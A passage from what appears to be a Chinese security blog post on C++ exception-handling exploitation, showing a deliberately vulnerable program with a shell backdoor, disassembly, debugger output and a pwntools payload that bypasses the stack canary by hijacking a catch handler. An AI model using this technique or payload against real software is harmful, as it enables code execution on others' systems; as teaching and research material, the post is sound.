&lt;li&gt;抛出异常后，从当前函数开始寻找匹配的 catch handler，找不到就将异常逐层往当前调用链的上层函数栈帧抛，直到找到能处理该类型异常的 catch handler，该过程被称为栈展开或栈回溯，即 Stack Unwindding 。如果最后回溯完整个调用链还是没找到合适的 handler，则调用 &lt;code&gt;std::terminate()&lt;/code&gt;，其默认行为是使程序 abort 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;转移控制到 &lt;code&gt;catch handler&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;一旦找到匹配的 handler，控制流跳转到对应的 catch 代码块开始执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;恢复执行
&lt;ul&gt;
&lt;li&gt;异常处理完毕后，系统会尝试恢复执行，通常是在异常被捕获的点之后继续执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
目前我们只要知道 throw 会触发逐帧 unwind，最终跳转到合适的 catch handler 执行即可。我想上面这些简单的概念应该已经足够支撑我们理解为什么 handler 能当作 gadget 链接了，当然，前提是你已经学过了基本的 ROP 思想，我觉得这两者之间还是挺相似的，所以理解起来应该并不费劲。
:::&lt;/p&gt;
&lt;h2&gt;命运之刃：栈上的裂隙与挟持&lt;/h2&gt;
&lt;p&gt;:::important
下面代码使用 &lt;code&gt;g++-9&lt;/code&gt; 编译测试，实测高版本在 &lt;code&gt;___cxa_allocate_exception&lt;/code&gt; 之后就检测了 canary，这对我们的利用会产生影响，因此这里使用 &lt;code&gt;Ubuntu 20.04 (gcc-9 series)&lt;/code&gt; 及以下版本进行测试。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// g++-9 -Wall vuln.cpp -o vuln -no-pie -fPIC

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

class foo {
public:
  char buf[0x10];

  foo() { printf(&quot;foo::foo() called\n&quot;); }
  ~foo() { printf(&quot;foo::~foo() called\n&quot;); }
};

void input();
void backdoor();

int main() {
  try {
    input();
    throw 1;
  } catch (int x) {
    printf(&quot;Int: %d\n&quot;, x);
  } catch (const char *s) {
    printf(&quot;String: %s\n&quot;, s);
  }

  printf(&quot;main() return\n&quot;);
  return 0;
}

void input() {
  foo tmp;

  printf(&quot;Enter your input: &quot;);
  fflush(stdout);

  int size = 0x100;
  size_t len = read(0, tmp.buf, size);

  if (len &amp;gt; 0x10) {
    throw &quot;Buffer overflow detected!&quot;;
  }

  printf(&quot;input() return\n&quot;);
}

void backdoor() {
  try {
    printf(&quot;We have never called this backdoor!\n&quot;);
  } catch (const char *s) {
    printf(&quot;Backdoor has catched the exception: %s\n&quot;, s);
    system(&quot;/bin/sh&quot;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先说结论，再调试。以当前示例程序为例，这里我粗略划分为三种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;没有发生异常，程序会顺着正常路径结束 &lt;code&gt;input&lt;/code&gt; 调用&lt;/li&gt;
&lt;li&gt;抛出异常，但是在当前函数被捕获，那么执行路径是：&lt;code&gt;throw -&amp;gt; ___cxa_begin_catch -&amp;gt; executing handler -&amp;gt; ___cxa_end_catch -&amp;gt; resume after catch in input() -&amp;gt; destructor -&amp;gt; check canary -&amp;gt; ...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;抛出异常，但是当前函数中不存在对应的 cactch，那么执行路径将变为：&lt;code&gt;throw -&amp;gt; cleanup -&amp;gt; destructor -&amp;gt; __Unwind_Resume -&amp;gt; 此时进入上层栈帧查找是否含有匹配的 catch 块，没有的话继续执行 __Unwind_Resume 往上抛，直到找到为止。找到后，执行 catch handler (___cxa_begin_catch -&amp;gt; executing handler -&amp;gt; ___cxa_end_catch)，执行完后跳转到找到的那个函数的 catch 块后继续执行。若每一层都找不到，就像之前说的，会执行 std::terminate()，默认行为是 abort&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于测试在 input 中直接 catch 的情况，可以将 input 函数修改为如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void input() {
  foo tmp;

  printf(&quot;Enter your input: &quot;);
  fflush(stdout);

  try {
    int size = 0x100;
    size_t len = read(0, tmp.buf, size);

    if (len &amp;gt; 0x10) {
      throw &quot;Buffer overflow detected!&quot;;
    }
  } catch (const char *s) {
    printf(&quot;Caught in input(): %s\n&quot;, s);
  }

  printf(&quot;input() return\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于上面的 2 和 3 这两种情况，我分别截取了部分汇编代码供对照分析，首先是情况 2（input 中存在匹配的 catch handler）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00000000004013CE ;   try {
.text:00000000004013CE                 call    _read
.text:00000000004013D3                 mov     [rbp+var_40], rax
.text:00000000004013D7                 cmp     [rbp+var_40], 10h
.text:00000000004013DC                 jbe     short loc_401409
.text:00000000004013DE                 mov     edi, 8          ; thrown_size
.text:00000000004013E3                 call    ___cxa_allocate_exception
.text:00000000004013E8                 lea     rdx, aBufferOverflow ; &quot;Buffer overflow detected!&quot;
.text:00000000004013EF                 mov     [rax], rdx
.text:00000000004013F2                 mov     edx, 0          ; void (*)(void *)
.text:00000000004013F7                 mov     rcx, cs:_ZTIPKc_ptr
.text:00000000004013FE                 mov     rsi, rcx        ; lptinfo
.text:0000000000401401                 mov     rdi, rax        ; exception
.text:0000000000401404                 call    ___cxa_throw
.text:0000000000401404 ;   } // starts at 4013CE
.text:0000000000401409 ; ---------------------------------------------------------------------------
.text:0000000000401409
.text:0000000000401409 loc_401409:                             ; CODE XREF: input(void)+72↑j
.text:0000000000401409                                         ; input(void)+101↓j
.text:0000000000401409                 lea     rdi, aInputReturn ; &quot;input() return&quot;
.text:0000000000401410 ;   try {
.text:0000000000401410                 call    _puts
.text:0000000000401410 ;   } // starts at 401410
.text:0000000000401415                 lea     rax, [rbp+buf]
.text:0000000000401419                 mov     rdi, rax        ; this
.text:000000000040141C                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:0000000000401421                 nop
.text:0000000000401422                 mov     rax, [rbp+var_18]
.text:0000000000401426                 xor     rax, fs:28h
.text:000000000040142F                 jz      short loc_40149E
.text:0000000000401431                 jmp     short loc_401499
.text:0000000000401433 ; ---------------------------------------------------------------------------
.text:0000000000401433 ;   catch(char const*) // owned by 4013CE
.text:0000000000401433                 endbr64
.text:0000000000401437                 cmp     rdx, 1
.text:000000000040143B                 jz      short loc_401442
.text:000000000040143D                 mov     rbx, rax
.text:0000000000401440                 jmp     short loc_401482
.text:0000000000401442 ; ---------------------------------------------------------------------------
.text:0000000000401442
.text:0000000000401442 loc_401442:                             ; CODE XREF: input(void)+D1↑j
.text:0000000000401442                 mov     rdi, rax        ; void *
.text:0000000000401445                 call    ___cxa_begin_catch
.text:000000000040144A                 mov     [rbp+var_38], rax
.text:000000000040144E                 mov     rax, [rbp+var_38]
.text:0000000000401452                 mov     rsi, rax
.text:0000000000401455                 lea     rdi, aCaughtInInputS ; &quot;Caught in input(): %s\n&quot;
.text:000000000040145C                 mov     eax, 0
.text:0000000000401461 ;   try {
.text:0000000000401461                 call    _printf
.text:0000000000401461 ;   } // starts at 401461
.text:0000000000401466                 call    ___cxa_end_catch
.text:000000000040146B                 jmp     short loc_401409
.text:000000000040146D ; ---------------------------------------------------------------------------
.text:000000000040146D ;   cleanup() // owned by 401461
.text:000000000040146D                 endbr64
.text:0000000000401471                 mov     rbx, rax
.text:0000000000401474                 call    ___cxa_end_catch
.text:0000000000401479                 jmp     short loc_401482
.text:000000000040147B ; ---------------------------------------------------------------------------
.text:000000000040147B ;   cleanup() // owned by 40139E
.text:000000000040147B ;   cleanup() // owned by 401410
.text:000000000040147B                 endbr64
.text:000000000040147F                 mov     rbx, rax
.text:0000000000401482
.text:0000000000401482 loc_401482:                             ; CODE XREF: input(void)+D6↑j
.text:0000000000401482                                         ; input(void)+10F↑j
.text:0000000000401482                 lea     rax, [rbp+buf]
.text:0000000000401486                 mov     rdi, rax        ; this
.text:0000000000401489                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:000000000040148E                 mov     rax, rbx
.text:0000000000401491                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000401494                 call    __Unwind_Resume
.text:0000000000401499 ; ---------------------------------------------------------------------------
.text:0000000000401499
.text:0000000000401499 loc_401499:                             ; CODE XREF: input(void)+C7↑j
.text:0000000000401499                 call    ___stack_chk_fail
.text:000000000040149E ; ---------------------------------------------------------------------------
.text:000000000040149E
.text:000000000040149E loc_40149E:                             ; CODE XREF: input(void)+C5↑j
.text:000000000040149E                 add     rsp, 48h
.text:00000000004014A2                 pop     rbx
.text:00000000004014A3                 pop     rbp
.text:00000000004014A4                 retn
.text:00000000004014A4 ; } // starts at 40136A
.text:00000000004014A4 _Z5inputv       endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是情况 3（input 中不存在匹配的 catch handler）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:000000000040139E ;   try {
.text:000000000040139E                 call    _printf
.text:00000000004013A3                 mov     rax, cs:stdout_ptr
.text:00000000004013AA                 mov     rax, [rax]
.text:00000000004013AD                 mov     rdi, rax        ; stream
.text:00000000004013B0                 call    _fflush
.text:00000000004013B5                 mov     [rbp+var_3C], 100h
.text:00000000004013BC                 mov     eax, [rbp+var_3C]
.text:00000000004013BF                 movsxd  rdx, eax        ; nbytes
.text:00000000004013C2                 lea     rax, [rbp+buf]
.text:00000000004013C6                 mov     rsi, rax        ; buf
.text:00000000004013C9                 mov     edi, 0          ; fd
.text:00000000004013CE                 call    _read
.text:00000000004013D3                 mov     [rbp+var_38], rax
.text:00000000004013D7                 cmp     [rbp+var_38], 10h
.text:00000000004013DC                 jbe     short loc_401409
.text:00000000004013DE                 mov     edi, 8          ; thrown_size
.text:00000000004013E3                 call    ___cxa_allocate_exception
.text:00000000004013E8                 lea     rdx, aBufferOverflow ; &quot;Buffer overflow detected!&quot;
.text:00000000004013EF                 mov     [rax], rdx
.text:00000000004013F2                 mov     edx, 0          ; void (*)(void *)
.text:00000000004013F7                 mov     rcx, cs:_ZTIPKc_ptr
.text:00000000004013FE                 mov     rsi, rcx        ; lptinfo
.text:0000000000401401                 mov     rdi, rax        ; exception
.text:0000000000401404                 call    ___cxa_throw
.text:0000000000401409 ; ---------------------------------------------------------------------------
.text:0000000000401409
.text:0000000000401409 loc_401409:                             ; CODE XREF: input(void)+72↑j
.text:0000000000401409                 lea     rdi, aInputReturn ; &quot;input() return&quot;
.text:0000000000401410                 call    _puts
.text:0000000000401410 ;   } // starts at 40139E
.text:0000000000401415                 lea     rax, [rbp+buf]
.text:0000000000401419                 mov     rdi, rax        ; this
.text:000000000040141C                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:0000000000401421                 nop
.text:0000000000401422                 mov     rax, [rbp+var_18]
.text:0000000000401426                 xor     rax, fs:28h
.text:000000000040142F                 jz      short loc_401456
.text:0000000000401431                 jmp     short loc_401451
.text:0000000000401433 ; ---------------------------------------------------------------------------
.text:0000000000401433 ;   cleanup() // owned by 40139E
.text:0000000000401433                 endbr64
.text:0000000000401437                 mov     rbx, rax
.text:000000000040143A                 lea     rax, [rbp+buf]
.text:000000000040143E                 mov     rdi, rax        ; this
.text:0000000000401441                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:0000000000401446                 mov     rax, rbx
.text:0000000000401449                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:000000000040144C                 call    __Unwind_Resume
.text:0000000000401451 ; ---------------------------------------------------------------------------
.text:0000000000401451
.text:0000000000401451 loc_401451:                             ; CODE XREF: input(void)+C7↑j
.text:0000000000401451                 call    ___stack_chk_fail
.text:0000000000401456 ; ---------------------------------------------------------------------------
.text:0000000000401456
.text:0000000000401456 loc_401456:                             ; CODE XREF: input(void)+C5↑j
.text:0000000000401456                 add     rsp, 38h
.text:000000000040145A                 pop     rbx
.text:000000000040145B                 pop     rbp
.text:000000000040145C                 retn
.text:000000000040145C ; } // starts at 40136A
.text:000000000040145C _Z5inputv       endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时会将异常上抛到调用它的函数，也就是 &lt;code&gt;main&lt;/code&gt;，去 main 中查找有无匹配的 catch 块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:0000000000401276 ; =============== S U B R O U T I N E =======================================
.text:0000000000401276
.text:0000000000401276 ; Attributes: bp-based frame
.text:0000000000401276
.text:0000000000401276 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000401276                 public main
.text:0000000000401276 main            proc near               ; DATA XREF: _start+18↑o
.text:0000000000401276
.text:0000000000401276 var_1C          = dword ptr -1Ch
.text:0000000000401276 var_18          = qword ptr -18h
.text:0000000000401276
.text:0000000000401276 ; __unwind { // __gxx_personality_v0
.text:0000000000401276                 endbr64
.text:000000000040127A                 push    rbp
.text:000000000040127B                 mov     rbp, rsp
.text:000000000040127E                 push    rbx
.text:000000000040127F                 sub     rsp, 18h
.text:0000000000401283 ;   try {
.text:0000000000401283                 call    _Z5inputv       ; input(void)
.text:0000000000401288                 mov     edi, 4          ; thrown_size
.text:000000000040128D                 call    ___cxa_allocate_exception
.text:0000000000401292                 mov     dword ptr [rax], 1
.text:0000000000401298                 mov     edx, 0          ; void (*)(void *)
.text:000000000040129D                 mov     rcx, cs:lptinfo
.text:00000000004012A4                 mov     rsi, rcx        ; lptinfo
.text:00000000004012A7                 mov     rdi, rax        ; exception
.text:00000000004012AA                 call    ___cxa_throw
.text:00000000004012AA ;   } // starts at 401283
.text:00000000004012AF ; ---------------------------------------------------------------------------
.text:00000000004012AF
.text:00000000004012AF loc_4012AF:                             ; CODE XREF: main+8F↓j
.text:00000000004012AF                                         ; main+BA↓j
.text:00000000004012AF                 lea     rdi, s          ; &quot;main() return&quot;
.text:00000000004012B6                 call    _puts
.text:00000000004012BB                 mov     eax, 0
.text:00000000004012C0                 jmp     loc_401363
.text:00000000004012C5 ; ---------------------------------------------------------------------------
.text:00000000004012C5 ;   catch(int) // owned by 401283
.text:00000000004012C5 ;   catch(char const*) // owned by 401283
.text:00000000004012C5                 endbr64
.text:00000000004012C9                 cmp     rdx, 1
.text:00000000004012CD                 jz      short loc_4012DD
.text:00000000004012CF                 cmp     rdx, 2
.text:00000000004012D3                 jz      short loc_401307
.text:00000000004012D5                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:00000000004012D8                 call    __Unwind_Resume
.text:00000000004012DD ; ---------------------------------------------------------------------------
.text:00000000004012DD
.text:00000000004012DD loc_4012DD:                             ; CODE XREF: main+57↑j
.text:00000000004012DD                 mov     rdi, rax        ; void *
.text:00000000004012E0                 call    ___cxa_begin_catch
.text:00000000004012E5                 mov     eax, [rax]
.text:00000000004012E7                 mov     [rbp+var_1C], eax
.text:00000000004012EA                 mov     eax, [rbp+var_1C]
.text:00000000004012ED                 mov     esi, eax
.text:00000000004012EF                 lea     rdi, format     ; &quot;Int: %d\n&quot;
.text:00000000004012F6                 mov     eax, 0
.text:00000000004012FB ;   try {
.text:00000000004012FB                 call    _printf
.text:00000000004012FB ;   } // starts at 4012FB
.text:0000000000401300                 call    ___cxa_end_catch
.text:0000000000401305                 jmp     short loc_4012AF
.text:0000000000401307 ; ---------------------------------------------------------------------------
.text:0000000000401307
.text:0000000000401307 loc_401307:                             ; CODE XREF: main+5D↑j
.text:0000000000401307                 mov     rdi, rax        ; void *
.text:000000000040130A                 call    ___cxa_begin_catch
.text:000000000040130F                 mov     [rbp+var_18], rax
.text:0000000000401313                 mov     rax, [rbp+var_18]
.text:0000000000401317                 mov     rsi, rax
.text:000000000040131A                 lea     rdi, aStringS   ; &quot;String: %s\n&quot;
.text:0000000000401321                 mov     eax, 0
.text:0000000000401326 ;   try {
.text:0000000000401326                 call    _printf
.text:0000000000401326 ;   } // starts at 401326
.text:000000000040132B                 call    ___cxa_end_catch
.text:0000000000401330                 jmp     loc_4012AF
.text:0000000000401335 ; ---------------------------------------------------------------------------
.text:0000000000401335 ;   cleanup() // owned by 4012FB
.text:0000000000401335                 endbr64
.text:0000000000401339                 mov     rbx, rax
.text:000000000040133C                 call    ___cxa_end_catch
.text:0000000000401341                 mov     rax, rbx
.text:0000000000401344                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000401347                 call    __Unwind_Resume
.text:000000000040134C ; ---------------------------------------------------------------------------
.text:000000000040134C ;   cleanup() // owned by 401326
.text:000000000040134C                 endbr64
.text:0000000000401350                 mov     rbx, rax
.text:0000000000401353                 call    ___cxa_end_catch
.text:0000000000401358                 mov     rax, rbx
.text:000000000040135B                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:000000000040135E                 call    __Unwind_Resume
.text:0000000000401363 ; ---------------------------------------------------------------------------
.text:0000000000401363
.text:0000000000401363 loc_401363:                             ; CODE XREF: main+4A↑j
.text:0000000000401363                 add     rsp, 18h
.text:0000000000401367                 pop     rbx
.text:0000000000401368                 pop     rbp
.text:0000000000401369                 retn
.text:0000000000401369 ; } // starts at 401276
.text:0000000000401369 main            endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们发现，如果程序中途抛出了异常，那么接下来的代码一般是不会执行的，而是直接去一层层 unwind，寻找匹配的 catch handler 。&lt;/p&gt;
&lt;p&gt;想必敏锐的你已经意识到了什么……&lt;/p&gt;
&lt;p&gt;:::important
一般来说 canary 都是在函数即将返回的时候检测的，位于函数代码的最下面。那么，如果我们中间 throw 了异常，就不会往下执行剩余的代码，这其中就包含了 canary 的检测。即，我们无视 canary 返回到了某个 catch handler 分支。
:::&lt;/p&gt;
&lt;p&gt;这就引出了一个问题：我们是否有办法控制它返回到任意 handler ？&lt;/p&gt;
&lt;p&gt;不知道，调一下就清楚了。咱也不清楚 handler 是根据什么返回的，索性分别尝试覆盖 &lt;code&gt;rbp&lt;/code&gt; 和返回地址的值看看。&lt;/p&gt;
&lt;p&gt;首先是只覆盖了 &lt;code&gt;rbp&lt;/code&gt;，我们发现执行 &lt;code&gt;_Unwind_Resume&lt;/code&gt; 前 &lt;code&gt;rbp&lt;/code&gt; 是 &lt;code&gt;0x7ffe29f72c50 ◂— 0x4242424242424242 (&apos;BBBBBBBB&apos;)&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2ksaalfwn4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;执行完 &lt;code&gt;_Unwind_Resume&lt;/code&gt; 后 &lt;code&gt;rbp&lt;/code&gt; 就变成了我们写入的 &lt;code&gt;B&lt;/code&gt;，然后继续往下执行，最终卡在了这个地方：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pfphz109v.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;原因是不能解引用 &lt;code&gt;rbp - 0x18&lt;/code&gt; 这个地址，因为它是非法地址。&lt;/p&gt;
&lt;p&gt;不过根据我们的观察，发现这里只是用 rbp 为基地址的内存去临时存放一些东西，此处是 &lt;code&gt;Buffer overflow detected!&lt;/code&gt; 字符串，用于 printf：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/10i $rip
=&amp;gt; 0x40130f &amp;lt;main+153&amp;gt;: mov    QWORD PTR [rbp-0x18],rax
   0x401313 &amp;lt;main+157&amp;gt;: mov    rax,QWORD PTR [rbp-0x18]
   0x401317 &amp;lt;main+161&amp;gt;: mov    rsi,rax
   0x40131a &amp;lt;main+164&amp;gt;: lea    rdi,[rip+0xd23]        # 0x402044
   0x401321 &amp;lt;main+171&amp;gt;: mov    eax,0x0
   0x401326 &amp;lt;main+176&amp;gt;: call   0x4010e0 &amp;lt;printf@plt&amp;gt;
   0x40132b &amp;lt;main+181&amp;gt;: call   0x401160 &amp;lt;__cxa_end_catch@plt&amp;gt;
   0x401330 &amp;lt;main+186&amp;gt;: jmp    0x4012af &amp;lt;main+57&amp;gt;
   0x401335 &amp;lt;main+191&amp;gt;: endbr64
   0x401339 &amp;lt;main+195&amp;gt;: mov    rbx,rax
pwndbg&amp;gt; x/s 0x402044
0x402044: &quot;String: %s\n&quot;
pwndbg&amp;gt; x/s $rax
0x402063: &quot;Buffer overflow detected!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;既然 rbp 只要是能 rw 的地址，程序又没开 PIE，那我们直接将其修改为 bss 的地址，就可以继续往下执行了：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f11tkdlft.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;现在我们尝试覆盖返回地址，看看会发生什么：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szbfpmqwq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;又是因为访问非法地址而 abort，这次是 &lt;code&gt;rax&lt;/code&gt;，而 &lt;code&gt;rax&lt;/code&gt; 存的是我们覆盖的返回地址。嗯……如果继续用 bss 地址代替会发生什么呢？&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45i1a3etar.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m49p0rvc0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;发现程序进入了 &lt;code&gt;std::terminate()&lt;/code&gt;，然后输出了 &lt;code&gt;terminate called after throwing an instance of &apos;char const*&apos;&lt;/code&gt; 就 abort 了。&lt;/p&gt;
&lt;p&gt;回想我们一开始就说的流程，「如果最后回溯完整个调用链还是没找到合适的 handler，则调用 std::terminate()，其默认行为是使程序 abort 。」所以这条输出代表它已经搜遍了所有函数的 catch 块（发生于 &lt;code&gt;_Unwind_RaiseException&lt;/code&gt; 中），但任未找到合适的 catch handler 。那我们可以合理猜测，程序是不是根据这个返回地址值确定上哪找 catch 块呢？因为如果我们不修改这个返回地址的值的话，它的值默认是 main 中 throw 的地址，而不修改它的话程序会正常进入 main 中与之匹配的 catch handler，输出我们预期的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[DEBUG] Received 0x67 bytes:
    b&apos;foo::foo() called\n&apos;
    b&apos;Enter your input: foo::~foo() called\n&apos;
    b&apos;String: Buffer overflow detected!\n&apos;
    b&apos;main() return\n&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;猜想有了，现在就付诸实践吧～&lt;/p&gt;
&lt;p&gt;通过查看交叉引用，我们定位到包含 &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt; 后门的 catch 块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:000000000040145D ; =============== S U B R O U T I N E =======================================
.text:000000000040145D
.text:000000000040145D ; Attributes: bp-based frame
.text:000000000040145D
.text:000000000040145D ; int __fastcall backdoor()
.text:000000000040145D                 public _Z8backdoorv
.text:000000000040145D _Z8backdoorv    proc near
.text:000000000040145D
.text:000000000040145D var_18          = qword ptr -18h
.text:000000000040145D
.text:000000000040145D ; __unwind { // __gxx_personality_v0
.text:000000000040145D                 endbr64
.text:0000000000401461                 push    rbp
.text:0000000000401462                 mov     rbp, rsp
.text:0000000000401465                 push    rbx
.text:0000000000401466                 sub     rsp, 18h
.text:000000000040146A                 lea     rdi, aWeHaveNeverCal ; &quot;We have never called this backdoor!&quot;
.text:0000000000401471 ;   try {
.text:0000000000401471                 call    _puts
.text:0000000000401471 ;   } // starts at 401471
.text:0000000000401476                 jmp     short loc_4014D8
.text:0000000000401478 ; ---------------------------------------------------------------------------
.text:0000000000401478 ;   catch(char const*) // owned by 401471
.text:0000000000401478                 endbr64
.text:000000000040147C                 cmp     rdx, 1
.text:0000000000401480                 jz      short loc_40148A
.text:0000000000401482                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000401485                 call    __Unwind_Resume
.text:000000000040148A ; ---------------------------------------------------------------------------
.text:000000000040148A
.text:000000000040148A loc_40148A:                             ; CODE XREF: backdoor(void)+23↑j
.text:000000000040148A                 mov     rdi, rax        ; void *
.text:000000000040148D                 call    ___cxa_begin_catch
.text:0000000000401492                 mov     [rbp+var_18], rax
.text:0000000000401496                 mov     rax, [rbp+var_18]
.text:000000000040149A                 mov     rsi, rax
.text:000000000040149D                 lea     rdi, aBackdoorHasCat ; &quot;Backdoor has catched the exception: %s&quot;...
.text:00000000004014A4                 mov     eax, 0
.text:00000000004014A9 ;   try {
.text:00000000004014A9                 call    _printf
.text:00000000004014AE                 lea     rdi, command    ; &quot;/bin/sh&quot;
.text:00000000004014B5                 call    _system
.text:00000000004014B5 ;   } // starts at 4014A9
.text:00000000004014BA                 call    ___cxa_end_catch
.text:00000000004014BF                 jmp     short loc_4014D8
.text:00000000004014C1 ; ---------------------------------------------------------------------------
.text:00000000004014C1 ;   cleanup() // owned by 4014A9
.text:00000000004014C1                 endbr64
.text:00000000004014C5                 mov     rbx, rax
.text:00000000004014C8                 call    ___cxa_end_catch
.text:00000000004014CD                 mov     rax, rbx
.text:00000000004014D0                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:00000000004014D3                 call    __Unwind_Resume
.text:00000000004014D8 ; ---------------------------------------------------------------------------
.text:00000000004014D8
.text:00000000004014D8 loc_4014D8:                             ; CODE XREF: backdoor(void)+19↑j
.text:00000000004014D8                                         ; backdoor(void)+62↑j
.text:00000000004014D8                 add     rsp, 18h
.text:00000000004014DC                 pop     rbx
.text:00000000004014DD                 pop     rbp
.text:00000000004014DE                 retn
.text:00000000004014DE ; } // starts at 40145D
.text:00000000004014DE _Z8backdoorv    endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它的 catch 是 &lt;code&gt;catch(char const*)&lt;/code&gt;，和我们 throw 出来的类型一样，即我们可以尝试返回到这个 catch handler 。&lt;/p&gt;
&lt;p&gt;经过测试，我们将返回地址覆盖为后门 catch 的 try 地址加一，即 &lt;code&gt;0x401471 + 0x1&lt;/code&gt; 就可以 get shell 。至于这个地址到底应该覆盖为什么，经测试发现它属于一个从 try 地址开始的左开又不确定区间。&lt;/p&gt;
&lt;p&gt;最终 payload 如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = flat(
    b&quot;A&quot; * 0x30,
    elf.bss(),
    0x401471 + 0x1,
)
target.send(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们不仅无视了 canary，还成功跳转到了任意 catch handler 。不过经测试，用高版本 g++ 编译出来的程序会将 canary 检测加到 &lt;code&gt;___cxa_allocate_exception&lt;/code&gt; 之后，也就阻止了这种利用方式。不过这个方法在 Ubuntu 20.04 LTS 上还是可以使用的，低版本应该也没问题，所以还是值得学习的。&lt;/p&gt;
&lt;p&gt;整明白了这个覆盖返回地址劫持 catch handler 的方法后，就可以做点实际的题目试试了，比如 2024 羊城杯的 &lt;a href=&quot;/posts/write-ups/2024-%E7%BE%8A%E5%9F%8E%E6%9D%AF/#logger&quot;&gt;logger&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;劫持返回地址只是 CHOP 冷兵器时代的攻击手法之一，还有其它方法，以及我们还可以控制 &lt;code&gt;std::terminate()&lt;/code&gt; 执行任意函数，那才是 CHOP 真正的魅力之所在。~&lt;em&gt;but 等我有空再继续写吧/逃&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;秩序之火：任意调用与自由的幻象&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://rivers.chaitin.cn/blog/cq70jnqp1rhtmlvvdmng&quot;&gt;溢出漏洞在异常处理中的攻击利用手法-上&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rivers.chaitin.cn/blog/cq70jnqp1rhtmlvvdpng&quot;&gt;溢出漏洞在异常处理中的攻击手法-下&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/13157062538&quot;&gt;分享 C++ PWN 出题经历——深入研究异常处理机制&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s295_paper.pdf&quot;&gt;Let Me Unwind That For You: Exceptions to Backward-Edge Protection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=S6dh83ZNTqY&quot;&gt;NDSS 2023 - Let Me Unwind That For You: Exceptions to Backward-Edge Protection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
